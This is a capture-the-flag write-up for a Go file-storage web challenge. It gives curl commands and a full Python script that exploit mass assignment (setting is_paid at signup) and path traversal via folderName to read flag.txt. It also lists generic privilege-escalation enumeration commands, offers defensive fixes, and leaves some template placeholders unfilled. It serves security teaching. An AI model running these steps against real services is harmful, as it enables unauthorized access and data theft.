90 - Самое надежное хранилище (The Most Secure Storage)
90 - Самое надежное хранилище (The Most Secure Storage)
Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter
Summary
Task: Go file storage with JWT authentication. Solution: Mass assignment to set is_paid=true during registration, then path traversal via unsanitized folderName parameter to read flag.txt from root directory.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
duckerz| ID:20260115_duckerz_secure_storage - Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
- Indicators: json.Unmarshal into struct with sensitive fields, filepath.Join without sanitization, is_paid/premium flag in user struct, folder parameter in URL
- Source:
20260115_duckerz_secure_storage.md
Foothold
Vulnerability / Misconfiguration
- jwt_authentication
- mass_assignment_bypass
- path_traversal_via_parameter
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- jwt_authentication
- mass_assignment_bypass
- path_traversal_via_parameter
- Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
Original Writeup
<details><summary>Click to expand original content</summary>Description
Решил переделать надежное хранилище, в самое надежное хранилище. Теперь ваши файлы будут защищены, честно...
(Decided to remake the secure storage into the most secure storage. Now your files will be protected, honestly...)
- URL: http://tasks.duckerz.ru:30067
- Source: https://download.tasks.duckerz.ru/SecureStorage/secure_storage.zip
Analysis
The application is a file storage service written in Go with JWT authentication. Source code analysis revealed two critical vulnerabilities.
Vulnerability 1: Mass Assignment / JSON Injection
In the signUpRoutePost function, form data is directly deserialized into the User struct:
go read-only • copy alloweddata := c.FormValue("data") if err := json.Unmarshal([]byte(data), &user); err != nil { return c.String(http.StatusBadRequest, "Invalid data") }
The User struct contains an IsPaid field that determines access to premium features:
go read-only • copy allowedtype User struct { UserId int64 `json:"user_id"` Username string `json:"username"` Password string `json:"password"` IsPaid bool `json:"is_paid"` }
Problem: The is_paid field can be set during registration, bypassing the payment check.
Vulnerability 2: Path Traversal in folderName Parameter
In the downloadFileFromFolderRouteGet and folderRouteGet functions, the folderName parameter is not sanitized:
go read-only • copy allowed// Protection is applied only to the file parameter, but NOT to folderName! fileSplit := strings.Split(file, "/") return c.File(filepath.Join(userRootPath, folderName, fileSplit[len(fileSplit)-1]))
Problem: You can use ../ in folderName to escape the user's directory.
Solution
Step 1: Registration with is_paid: true
bash read-only • copy allowedcurl -X POST "http://tasks.duckerz.ru:30067/signup" \ -d 'data={"username":"hacker","password":"password123","is_paid":true}' \ -c cookies.txt
This creates a user with premium access and saves the JWT token to cookies.txt.
Step 2: Listing Root Directory via Path Traversal
bash read-only • copy allowedcurl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/folder/../.."
Important: The --path-as-is flag prevents URL normalization in curl, preserving ../ in the request.
The response shows the contents of the application's root directory, including flag.txt.
Step 3: Downloading the Flag
bash read-only • copy allowedcurl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/file/flag.txt/folder/../.."
Exploit (Python)
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "Самое надежное хранилище" (The Most Secure Storage) DUCKERZ CTF - Task 90 Vulnerabilities: 1. Mass Assignment - set is_paid=true during registration 2. Path Traversal - unsanitized folderName parameter """ import requests import random import string BASE_URL = "http://tasks.duckerz.ru:30067" def random_username(): return ''.join(random.choices(string.ascii_lowercase, k=8)) def exploit(): session = requests.Session() # Step 1: Register with is_paid=true (Mass Assignment) username = random_username() payload = { "username": username, "password": "password123", "is_paid": True # Bypass payment check } print(f"[*] Registering user '{username}' with is_paid=true...") resp = session.post( f"{BASE_URL}/signup", data={"data": str(payload).replace("'", '"').replace("True", "true")} ) if "auth" not in session.cookies: print("[-] Registration failed") return print("[+] Registration successful, got JWT token") # Step 2: List root directory via path traversal print("[*] Listing root directory...") resp = session.get(f"{BASE_URL}/folder/../..") print(f"[*] Directory contents: {resp.text[:200]}...") # Step 3: Download flag.txt print("[*] Downloading flag.txt...") resp = session.get(f"{BASE_URL}/file/flag.txt/folder/../..") if "DUCKERZ{" in resp.text: print(f"[+] Flag: {resp.text.strip()}") else: print(f"[-] Response: {resp.text}") if __name__ == "__main__": exploit()
Defense
Against Mass Assignment:
go read-only • copy allowed// Use a separate struct for registration type SignUpRequest struct { Username string `json:"username"` Password string `json:"password"` // Do NOT include is_paid! }
Against Path Traversal:
go read-only • copy allowed// Validate ALL path parameters func sanitizePath(input string) string { // Remove all ../ and ./ cleaned := filepath.Clean(input) // Check that path doesn't escape if strings.Contains(cleaned, "..") { return "" } return filepath.Base(cleaned) }
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- OWASP Mass Assignment
signed by XESXOR